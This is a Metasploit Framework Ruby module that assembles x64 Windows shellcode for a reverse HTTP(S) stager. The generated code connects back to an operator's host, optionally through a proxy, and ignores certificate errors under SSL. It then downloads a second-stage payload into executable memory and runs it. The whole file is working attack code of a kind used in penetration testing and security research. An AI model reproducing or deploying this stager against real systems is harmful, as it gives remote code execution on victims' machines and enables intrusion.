lib/msf/core/payload/windows/x64/reverse_http_x64.rb
# -*- coding: binary -*-
module Msf
###
#
# Complex payload generation for Windows ARCH_X86 that speak HTTP(S)
#
###
module Payload::Windows::ReverseHttp_x64
include Msf::Payload::TransportConfig
include Msf::Payload::Windows
include Msf::Payload::Windows::BlockApi_x64
include Msf::Payload::Windows::Exitfunk_x64
include Msf::Payload::UUID::Options
#
# Register reverse_http specific options
#
def initialize(*args)
super
register_advanced_options(
[ OptInt.new('StagerURILength', 'The URI length for the stager (at least 5 bytes)') ] +
Msf::Opt::stager_retry_options +
Msf::Opt::http_header_options +
Msf::Opt::http_proxy_options
)
end
def transport_config(opts={})
transport_config_reverse_http(opts)
end
#
# Generate the first stage
#
def generate(opts={})
ds = opts[:datastore] || datastore
conf = {
ssl: opts[:ssl] || false,
host: ds['LHOST'] || '127.127.127.127',
port: ds['LPORT'],
retry_count: ds['StagerRetryCount'],
retry_wait: ds['StagerRetryWait']
}
# add extended options if we do have enough space
if self.available_space.nil? || (cached_size && required_space <= self.available_space)
conf[:url] = luri + generate_uri(opts)
conf[:exitfunk] = ds['EXITFUNC']
conf[:ua] = ds['HttpUserAgent']
conf[:proxy_host] = ds['HttpProxyHost']
conf[:proxy_port] = ds['HttpProxyPort']
conf[:proxy_user] = ds['HttpProxyUser']
conf[:proxy_pass] = ds['HttpProxyPass']
conf[:proxy_type] = ds['HttpProxyType']
conf[:custom_headers] = get_custom_headers(ds)
else
# Otherwise default to small URIs
conf[:url] = luri + generate_small_uri
end
generate_reverse_http(conf)
end
#
# Generate the custom headers string
#
def get_custom_headers(ds)
headers = ""
headers << "Host: #{ds['HttpHostHeader']}\r\n" if ds['HttpHostHeader']
headers << "Cookie: #{ds['HttpCookie']}\r\n" if ds['HttpCookie']
headers << "Referer: #{ds['HttpReferer']}\r\n" if ds['HttpReferer']
if headers.length > 0
headers
else
nil
end
end
#
# Generate and compile the stager
#
def generate_reverse_http(opts={})
combined_asm = %Q^
cld ; Clear the direction flag.
and rsp, ~0xf ; Ensure RSP is 16 byte aligned
call start ; Call start, this pushes the address of 'api_call' onto the stack.
#{asm_block_api}
start:
pop rbp ; rbp now contains the block API pointer
#{asm_reverse_http(opts)}
^
Metasm::Shellcode.assemble(Metasm::X64.new, combined_asm).encode_string
end
#
# Generate the URI for the initial stager
#
def generate_uri(opts={})
ds = opts[:datastore] || datastore
uri_req_len = ds['StagerURILength'].to_i
# Choose a random URI length between 30 and 255 bytes
if uri_req_len == 0
uri_req_len = 30 + luri.length + rand(256 - (30 + luri.length))
end
if uri_req_len < 5
raise ArgumentError, "Minimum StagerURILength is 5"
end
generate_uri_uuid_mode(:init_native, uri_req_len)
end
#
# Generate the URI for the initial stager
#
def generate_small_uri
generate_uri_uuid_mode(:init_native, 30)
end
#
# Determine the maximum amount of space required for the features requested
#
def required_space
# Start with our cached default generated size
space = cached_size
# Add 100 bytes for the encoder to have some room
space += 100
# Make room for the maximum possible URL length
space += 256
# EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others)
space += 31
# Proxy options?
space += 200
# Custom headers? Ugh, impossible to tell
space += 512
# The final estimated size
space
end
#
# Convert a string into a NULL-terminated ASCII byte array
#
def asm_generate_ascii_array(str)
(str.to_s + "\x00").
unpack("C*").
map{ |c| "0x%.2x" % c }.
join(",")
end
#
# Generate an assembly stub with the configured feature set and options.
#
# @option opts [Bool] :ssl Whether or not to enable SSL
# @option opts [String] :url The URI to request during staging
# @option opts [String] :host The host to connect to
# @option opts [Integer] :port The port to connect to
# @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh
# @option opts [String] :proxy_host The optional proxy server host to use
# @option opts [Integer] :proxy_port The optional proxy server port to use
# @option opts [String] :proxy_type The optional proxy server type, one of HTTP or SOCKS
# @option opts [String] :proxy_user The optional proxy server username
# @option opts [String] :proxy_pass The optional proxy server password
# @option opts [String] :custom_headers The optional collection of custom headers for the payload.
# @option opts [Integer] :retry_count The number of times to retry a failed request before giving up
# @option opts [Integer] :retry_wait The seconds to wait before retry a new request
#
def asm_reverse_http(opts={})
retry_count = opts[:retry_count].to_i
retry_wait = opts[:retry_wait].to_i * 1000
proxy_enabled = !!(opts[:proxy_host].to_s.strip.length > 0)
proxy_info = ""
if proxy_enabled
if opts[:proxy_type].to_s.downcase == "socks"
proxy_info << "socks="
else
proxy_info << "http://"
end
proxy_info << opts[:proxy_host].to_s
if opts[:proxy_port].to_i > 0
proxy_info << ":#{opts[:proxy_port]}"
end
end
proxy_user = opts[:proxy_user].to_s.length == 0 ? nil : opts[:proxy_user]
proxy_pass = opts[:proxy_pass].to_s.length == 0 ? nil : opts[:proxy_pass]
custom_headers = opts[:custom_headers].to_s.length == 0 ? nil : asm_generate_ascii_array(opts[:custom_headers])
http_open_flags = 0
set_option_flags = 0
if opts[:ssl]
http_open_flags = (
0x80000000 | # INTERNET_FLAG_RELOAD
0x04000000 | # INTERNET_NO_CACHE_WRITE
0x00800000 | # INTERNET_FLAG_SECURE
0x00200000 | # INTERNET_FLAG_NO_AUTO_REDIRECT
0x00080000 | # INTERNET_FLAG_NO_COOKIES
0x00001000 | # INTERNET_FLAG_IGNORE_CERT_CN_INVALID
0x00002000 | # INTERNET_FLAG_IGNORE_CERT_DATE_INVALID
0x00000200 ) # INTERNET_FLAG_NO_UI
set_option_flags = (
0x00002000 | # SECURITY_FLAG_IGNORE_CERT_DATE_INVALID
0x00001000 | # SECURITY_FLAG_IGNORE_CERT_CN_INVALID
0x00000200 | # SECURITY_FLAG_IGNORE_WRONG_USAGE
0x00000100 | # SECURITY_FLAG_IGNORE_UNKNOWN_CA
0x00000080 ) # SECURITY_FLAG_IGNORE_REVOCATION
else
http_open_flags = (
0x80000000 | # INTERNET_FLAG_RELOAD
0x04000000 | # INTERNET_NO_CACHE_WRITE
0x00200000 | # INTERNET_FLAG_NO_AUTO_REDIRECT
0x00080000 | # INTERNET_FLAG_NO_COOKIES
0x00000200 ) # INTERNET_FLAG_NO_UI
end
asm = %Q^
xor rbx, rbx
load_wininet:
push rbx ; stack alignment
mov r14, 'wininet'
push r14 ; Push 'wininet',0 onto the stack
mov rcx, rsp ; lpFileName (stackpointer)
mov r10, #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
call rbp
internetopen:
push rbx ; stack alignment
push rbx ; NULL pointer
mov rcx, rsp ; lpszAgent ("")
^
if proxy_enabled
asm << %Q^
push 3
pop rdx ; dwAccessType (3=INTERNET_OPEN_TYPE_PROXY)
call load_proxy_name
db "#{proxy_info}",0x0 ; proxy information
load_proxy_name:
pop r8 ; lpszProxyName (stack pointer)
^
else
asm << %Q^
push rbx
pop rdx ; dwAccessType (0=INTERNET_OPEN_TYPE_PRECONFIG)
xor r8, r8 ; lpszProxyName (NULL)
^
end
asm << %Q^
xor r9, r9 ; lpszProxyBypass (NULL)
push rbx ; stack alignment
push rbx ; dwFlags (0)
mov r10, #{Rex::Text.block_api_hash('wininet.dll', 'InternetOpenA')}
call rbp
call load_server_host
db "#{opts[:host]}",0x0
load_server_host:
pop rdx ; lpszServerName
mov rcx, rax ; hInternet
mov r8, #{opts[:port]} ; nServerPort
xor r9, r9 ; lpszUsername (NULL)
push rbx ; dwContent (0)
push rbx ; dwFlags (0)
push 3 ; dwService (3=INTERNET_SERVICE_HTTP)
push rbx ; lpszPassword (NULL)
mov r10, #{Rex::Text.block_api_hash('wininet.dll', 'InternetConnectA')}
call rbp
^
if proxy_enabled && (proxy_user || proxy_pass)
asm << %Q^
mov rsi, rax ; Store hConnection in rsi
^
if proxy_user
asm << %Q^
call load_proxy_user ; puts proxy_user pointer on stack
db "#{proxy_user}", 0x00
load_proxy_user:
pop r8 ; lpBuffer (stack pointer)
mov rcx, rsi ; hConnection (connection handle)
push 43 ; (43=INTERNET_OPTION_PROXY_USERNAME)
pop rdx
push #{proxy_user.length} ; dwBufferLength (proxy_user length)
pop r9
mov r10, #{Rex::Text.block_api_hash('wininet.dll', 'InternetSetOptionA')}
call rbp
^
end
if proxy_pass
asm << %Q^
call load_proxy_pass ; puts proxy_pass pointer on stack
db "#{proxy_pass}", 0x00
load_proxy_pass:
pop r8 ; lpBuffer (stack pointer)
mov rcx, rsi ; hConnection (connection handle)
push 44 ; (43=INTERNET_OPTION_PROXY_PASSWORD)
pop rdx
push #{proxy_pass.length} ; dwBufferLength (proxy_pass length)
pop r9
mov r10, #{Rex::Text.block_api_hash('wininet.dll', 'InternetSetOptionA')}
call rbp
^
end
asm << %Q^
mov rax, rsi ; Restore hConnection in rax
^
end
asm << %Q^
call httpopenrequest
db "#{opts[:url]}",0x0
httpopenrequest:
mov rcx, rax ; hConnect
push rbx
pop rdx ; lpszVerb (NULL=GET)
pop r8 ; lpszObjectName (URI)
xor r9, r9 ; lpszVersion (NULL)
push rbx ; dwContext (0)
mov rax, #{"0x%.8x" % http_open_flags} ; dwFlags
push rax
push rbx ; lplpszAcceptType (NULL)
push rbx ; lpszReferer (NULL)
mov r10, #{Rex::Text.block_api_hash('wininet.dll', 'HttpOpenRequestA')}
call rbp
prepare:
mov rsi, rax
^
if retry_count > 0
asm << %Q^
push #{retry_count}
pop rdi
^
end
asm << %Q^
retryrequest:
^
if opts[:ssl]
asm << %Q^
internetsetoption:
mov rcx, rsi ; hInternet (request handle)
push 31
pop rdx ; dwOption (31=INTERNET_OPTION_SECURITY_FLAG)
push rdx ; stack alignment
push #{"0x%.8x" % set_option_flags} ; flags
mov r8, rsp ; lpBuffer (pointer to flags)
push 4
pop r9 ; dwBufferLength (4 = size of flags)
mov r10, #{Rex::Text.block_api_hash('wininet.dll', 'InternetSetOptionA')}
call rbp
xor r8, r8 ; dwHeadersLen (0)
^
end
if custom_headers
asm << %Q^
call get_req_headers ; lpszHeaders (pointer to the custom headers)
db #{custom_headers}
get_req_headers:
pop rdx ; lpszHeaders
dec r8 ; dwHeadersLength (assume NULL terminated)
^
else
asm << %Q^
push rbx
pop rdx ; lpszHeaders (NULL)
^
end
asm << %Q^
mov rcx, rsi ; hRequest (request handle)
xor r9, r9 ; lpszVersion (NULL)
xor r9, r9 ; lpszVersion (NULL)
push rbx ; stack alignment
push rbx ; dwOptionalLength (0)
mov r10, #{Rex::Text.block_api_hash('wininet.dll', 'HttpSendRequestA')}
call rbp
test eax, eax
jnz allocate_memory
set_wait:
mov rcx, #{retry_wait} ; dwMilliseconds
mov r10, #{Rex::Text.block_api_hash('kernel32.dll', 'Sleep')}
call rbp ; Sleep( dwMilliseconds );
^
if retry_count > 0
asm << %Q^
try_it_again:
dec rdi
jz failure
jmp retryrequest
^
else
asm << %Q^
jmp retryrequest
; retry forever
^
end
if opts[:exitfunk]
asm << %Q^
failure:
call exitfunk
^
else
asm << %Q^
failure:
; hard-coded to ExitProcess(whatever) for size
mov r10, #{Rex::Text.block_api_hash('kernel32.dll', 'ExitProcess')}
call rbp ; ExitProcess(whatever)
^
end
# our other recent stagers like reverse_tcp read in the size of the incoming
# stage. We don't know why the http stager still just allocs 4MB and yeets
# the stage into it, but we should be allocating what we need, not what we guess we need
# these changes are to support the custom payload type, but in the future, we should
# change the reverse_http stagers to read in the size and allocate what it needs.
# as a breaking change, it will need to wait for the next major release.
#
if defined?(read_stage_size?) && read_stage_size?
asm << %Q^
allocate_memory:
; read incoming stage size
push rbx ; buffer for stage size
mov rdx, rsp ; lpBuffer (pointer to mem)
push rbx ; buffer for bytesRead
mov r9, rsp ; lpdwNumberOfBytesRead (stack pointer)
push 4
pop r8 ; dwNumberOfBytesToRead (4 bytes)
mov rcx, rsi ; hFile (request handle)
mov r10, #{Rex::Text.block_api_hash('wininet.dll', 'InternetReadFile')}
call rbp
test eax, eax ; did the download fail?
jz failure
add rsp, 40 ; remove 32 bytes of home space and 8 bytes of bytesRead
; allocate memory for stage
push rbx
pop rcx ; lpAddress (NULL)
pop rdx ; incoming stage size (Used in InternetReadFile)
mov rbx, rdx ; save off stage size (rdx is volatile)
push 0x40
pop r9 ; flProtect (0x40=PAGE_EXECUTE_READWRITE)
mov r8, 0x1000 ; flAllocationType (0x1000=MEM_COMMIT)
mov r10, #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')}
call rbp
;download stage
download_prep:
xchg rax, rbx ; store the allocated base in rbx
push rbx ; store allocated memory address for later ret
push rbx ; temp storage for byte count
mov rdi, rsp ; rdi is the &bytesRead
mov rcx, rsi ; hFile (request handle)
mov r8, rax ; dwNumberOfBytesToRead (incoming stage size)
mov rdx, rbx ; lpBuffer (pointer to mem)
mov r9, rdi ; lpdwNumberOfByteRead (stack pointer)
mov r10, #{Rex::Text.block_api_hash('wininet.dll', 'InternetReadFile')}
call rbp
add rsp, 32 ; clean up reserved space
test eax, eax ; did the download fail?
jz failure
pop rax ; clear up reserved space
^
else
asm << %Q^
allocate_memory:
push rbx
pop rcx ; lpAddress (NULL)
push 0x40
pop rdx
mov r9, rdx ; flProtect (0x40=PAGE_EXECUTE_READWRITE)
shl edx, 16 ; dwSize
mov r8, 0x1000 ; flAllocationType (0x1000=MEM_COMMIT)
mov r10, #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')}
call rbp
download_prep:
xchg rax, rbx ; store the allocated base in rbx
push rbx ; store a copy for later
push rbx ; temp storage for byte count
mov rdi, rsp ; rdi is the &bytesRead
download_more:
mov rcx, rsi ; hFile (request handle)
mov rdx, rbx ; lpBuffer (pointer to mem)
mov r8, 8192 ; dwNumberOfBytesToRead (8k)
mov r9, rdi ; lpdwNumberOfByteRead (stack pointer)
mov r10, #{Rex::Text.block_api_hash('wininet.dll', 'InternetReadFile')}
call rbp
add rsp, 32 ; clean up reserved space
test eax, eax ; did the download fail?
jz failure
mov ax, word ptr [rdi] ; extract the read byte count
add rbx, rax ; buffer += bytes read
test eax, eax ; are we done?
jnz download_more ; keep going
pop rax ; clear up reserved space
^
end
asm << %Q^
execute_stage:
ret ; return to the stored stage address
^
if opts[:exitfunk]
asm << asm_exitfunk(opts)
end
asm
end
#
# Do not transmit the stage over the connection. We handle this via HTTPS
#
def stage_over_connection?
false
end
#
# Always wait at least 20 seconds for this payload (due to staging delays)
#
def wfs_delay
20
end
end
end